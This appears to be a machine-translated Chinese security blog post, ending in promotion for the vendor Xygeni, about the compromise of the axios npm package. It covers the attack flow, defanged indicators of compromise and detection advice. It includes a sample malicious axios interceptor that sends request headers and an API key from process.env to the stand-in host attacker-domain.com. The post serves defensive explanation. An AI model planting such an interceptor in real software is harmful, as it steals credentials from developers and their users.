TL博士
axios npm 妥协方案显示 现代供应链攻击 利用受信任的依赖项在运行时访问敏感数据。多位安全研究人员已对此事件进行了分析，并提供了详细的分析报告。 Unit42 行业报道重点关注与国家行为相关的归因模式。
此次事件影响：
- DevOps 团队运行 CI/CD pipeline具有基于环境的身份验证
- 后端服务处理已认证的 API 请求
- 使用 axios 进行内部和外部 HTTP 通信的应用程序
由于 axios 位于请求层，因此被入侵的版本可以访问：
- 授权标头和 API 令牌
- 环境变量和密钥
- 内部服务沟通
真正的影响不在于依赖关系本身，而在于它执行后可以访问的内容。
立即采取的行动：
- 锁定依赖项版本并查看最新更新
- 轮换 API 密钥、令牌和 CI/CD 证书
- 监控出站请求和身份验证活动
- 审计: pipelines 暴露的秘密
Axios npm 攻击事件始末
axios 事件反映了供应链攻击中日益增长的趋势，攻击者针对的是广泛使用的依赖项，而不是应用程序漏洞。
通过攻破可信软件包，攻击者可以同时在数千个环境中执行操作。
由于 axios 是 JavaScript 生态系统中使用最广泛的 HTTP 客户端之一，因此它与以下组件深度集成：
- 后端服务
- 前端应用程序
- CI/CD pipelines
这使其成为高价值目标。
恶意版本一旦被引入并执行，就会继承导入它的应用程序的所有权限，包括访问网络流量、凭据和内部服务的权限。
这一妥协方案也引起了安全界以外的更广泛关注，例如 Axios 等媒体的报道。 覆盖
这表明可能与高级威胁行为者和协同攻击活动有关。
Axios攻击在运行时实际执行的操作
理解这种攻击的关键在于关注运行时行为。
Axios 运行在 HTTP 层，这意味着它处理出站请求。这使其能够直接监控应用程序中流动的敏感数据。
被篡改的版本可以：
- 在发送请求之前拦截它们
- 捕获
Authorization标头和 API 令牌 - 通过以下方式访问环境变量
process.env - 观察内部服务部门之间的沟通
例如，恶意拦截器可以提取身份验证标头并将其静默转发到外部端点。
同时，通过访问环境变量，攻击者可以在不修改应用程序逻辑的情况下检索凭据。
从外部来看，一切运行正常。请求成功完成，服务响应正常， pipeline目前尚未出现故障迹象。但与此同时，敏感数据可能已经通过后台执行路径泄露。
Axios攻击流程：从被入侵的包裹到机密信息泄露
1.妥协
攻击者获得了对 axios 生态系统中受信任的维护者帐户或软件包发布路径的控制权。
2。 分配
恶意版本会被发布到 npm 并被开发者机器拉取。 CI/CD pipelines，以及通过正常的依赖项更新构建应用程序。
3. 运行时执行
当导入并使用 axios 时，有效载荷会执行，并继承与应用程序相同的运行时权限。
4. 秘密访问
被攻破的依赖项可以访问标头、令牌、环境变量和内部 HTTP 通信。
5. 外泄
敏感数据在攻击者控制的基础设施上悄悄发送，而原始请求则继续正常运行。
妥协指标 (IoC)
为了调查潜在的风险，团队应首先审查与 axios 入侵相关的已知指标。下表总结了软件包、网络活动和主机痕迹中最相关的信号。
如何解读这些 IoC
虽然这些指标很有用，但它们不应被视为完整的检测策略。
实际上，这类攻击很少依赖于单一的静态信号。域名会改变，有效载荷会演变，哈希值也会很快过时。唯一不变的是攻击行为本身。
例如，在正常的HTTP执行过程中出现意外的出站请求可能表明数据已被泄露。同样，在不寻常的情况下使用有效的凭据通常表明机密信息已被泄露。
在主机层面，临时脚本或二进制文件的存在可能表明存在后渗透活动，尤其是在与网络异常相结合时。
换句话说，IoC 可以帮助您确认事件。
然而，了解行为才能让你及早发现问题。
| 类别 | 指示符 | 信息 |
|---|---|---|
| 小包装 | axios@1.14.1 |
沙苏姆： 2553649f2322049666871cea80a5d0d6adc700ca |
| 小包装 | axios@0.30.4 |
沙苏姆： d6f3f62fd3b9f5432f5782b62d8cfd5247d5ee71 |
| 依赖 | plain-crypto-js@4.2.1 |
沙苏姆： 07d889e2dadce6f3910dcbc253317d28ca61c766 |
| 网络 | sfrclak[.]com |
命令与控制域 |
| 网络 | 142.11.206[.]73 |
相关基础设施 IP |
| 网络 | http://sfrclak[.]com:8000/6202033 |
观察到的渗漏终点 |
| macos | /Library/Caches/com.apple.act.mond |
SHA256： 92ff08773995ebc8d55ec4b8e1a225d0d1e51efa4ef88b8849d0071230c9645a |
| Windows | %PROGRAMDATA%\wt.exe |
潜在的持久性伪影 |
| Windows | %TEMP%\6202033.vbs |
基于脚本的执行工件 |
| Windows | %TEMP%\6202033.ps1 |
PowerShell 有效载荷。SHA256： 617b67a8e1210e4fc87c92d1d1da45a2f311c08d26e89b12307cf583c900d101 |
| Linux | /tmp/ld.py |
SHA256： fcb81618bb15edfdedfb638b4c08a2af9cac9ecfa551af135a8402bf980375cf |
调查记录： 这些入侵指标 (IoC) 是威胁狩猎的有用起点。然而，攻击者可以快速轮换域名、有效载荷和攻击痕迹。因此，团队应将这些指标与行为信号关联起来，例如异常的出站 HTTP 流量、对目标的异常访问等。 process.env以及不寻常的依赖项更新。
示例：被攻破的 Axios npm 依赖项如何泄露数据
为了理解这种 Axios npm 攻击在实践中是如何运作的，请考虑一个简化的例子。
Axios 允许开发者定义请求拦截器。这些拦截器会在每个 HTTP 请求发出前自动执行。
恶意版本的axios可以滥用此机制：
const axios = require("axios");
// Malicious interceptor injected into dependency
axios.interceptors.request.use((config) => {
try {
const sensitiveData = {
url: config.url,
method: config.method,
headers: config.headers,
token: process.env.API_KEY,
};
require("https").request({
hostname: "attacker-domain.com",
path: "/collect",
method: "POST"
}).end(JSON.stringify(sensitiveData));
} catch (e) {}
return config;
});为什么 Axios npm 攻击很危险
乍一看，似乎一切正常。请求执行成功，应用程序运行正常， pipeline测试继续进行，没有出现任何错误。
然而，关键细节发生在请求发送之前。在执行过程中，被攻破的依赖项可以悄无声息地访问和收集敏感数据，例如授权标头、API令牌、请求元数据和环境变量。
由于此逻辑运行在直接位于 HTTP 请求路径中的可信库内，因此它实际上拥有与应用程序本身相同的权限。因此，它可以访问通常会受到外部攻击者保护的数据。
真正危险之处不仅在于数据访问，还在于缺乏可见的影响。功能上没有中断，没有请求失败，也没有任何立即出现问题的迹象。从操作角度来看，一切都照常运行。
与此同时，敏感信息可能已经通过与正常应用程序流量混杂在一起的出站连接离开系统。
首先，为什么这是一个DevOps问题
对于 DevOps 团队来说，这种类型的攻击尤其难以检测，因为它能无缝集成到现有的工作流程中。
依赖项会自动安装。 pipelines 正常执行，没有立即发生故障。
在同一时间， CI/CD 环境通常会暴露高价值凭证，包括：
- 云提供商令牌
- 部署密钥
- CI/CD 身份验证密钥
在此环境下运行的受感染依赖项可以直接访问这些凭据。
这就造成了一种局面：一切看起来都很正常，而敏感数据却在后台被访问。
真正的风险：大规模的秘密泄露
axios npm 漏洞暴露事件凸显了现代攻击策略的关键转变。
目标不再是利用漏洞，而是获取有效凭证。
由于现代系统依赖于基于环境的身份验证，因此运行时运行的依赖项可以访问：
- API密钥
- 服务令牌
- 云凭证
这些凭证无需被破坏。
它们只需要被使用。
这使得攻击者能够通过合法的身份验证进行横向移动、访问服务和提取数据。
因此，其影响取决于泄露了哪些秘密，而不是攻击是如何执行的。
为什么传统安全工具会忽略这一点
传统方法难以检测这些攻击，因为它们侧重于已知漏洞或静态特征。然而，正如在……中所强调的 OpenAI的分析 对于 axios 开发工具的漏洞，真正的风险出现在运行时，此时受信任的依赖项会与敏感数据交互。
然而，受损的依赖关系可能不会包含任何明显的迹象。
可能有：
- 无CVE
- 无恶意签名
- 没有异常语法
同时，静态分析无法评估运行时行为。它无法确定依赖项在执行后如何与敏感数据交互。
这就造成了一种漏洞：代码在分析时看起来安全，但在执行时却变得危险。
如何检测和预防类似 Axios npm 的攻击
要防止此类 Axios npm 攻击，需要从静态检查转向运行时感知。
团队需要了解依赖项的行为方式，而不仅仅是它们包含的内容。
这包括：
- 运行时监控对敏感数据的访问
- 在秘密信息到达存储库之前将其检测出来
- 扫描 pipelines 和暴露凭证的工件
- 观察出站网络活动是否存在异常
然而，仅靠检测是不够的。
从检测到预防：真正降低风险的因素是什么？
发生此类事件后，团队通常会面临大量可能泄露的凭证。
难点不在于找到它们，而在于确定哪些它们至关重要。
关键问题在于：
哪些秘密仍然有效且可利用？
如果没有验证，团队会将时间浪费在无效凭证上，而真正的风险仍然存在。
有效应对措施需要：
- 检测泄露的秘密
- 核实他们是否仍然授予访问权限
- 快速撤销或轮换它们
这可以减少暴露时间，限制攻击者的活动窗口。
Xygeni如何帮助降低供应链风险
西吉尼 通过将检测、验证和修复结合到一个工作流程中来应对这一挑战。
它能持续识别代码中暴露的秘密信息， pipeline以及工件。同时，它还会验证这些凭据在环境中是否仍然有效。
这样一来，团队就可以专注于攻击者实际可能利用的手段。
一旦识别出活跃密钥，自动化补救工作流程可以通过撤销或受控轮换来帮助减少暴露时间。
因此，响应速度更快，更高效。cise，而且干扰较小。
结语
axios npm 漏洞反映了供应链攻击的演变方式。
攻击者不再需要破坏系统。他们依靠可信的依赖项在执行过程中访问敏感数据。
对于DevOps团队而言，这意味着要了解运行时行为。对于安全负责人而言，这意味着要快速有效地降低风险敞口。
因为在现代环境中，最大的风险不在于最终执行了什么。
这是程序运行后可以访问的内容。
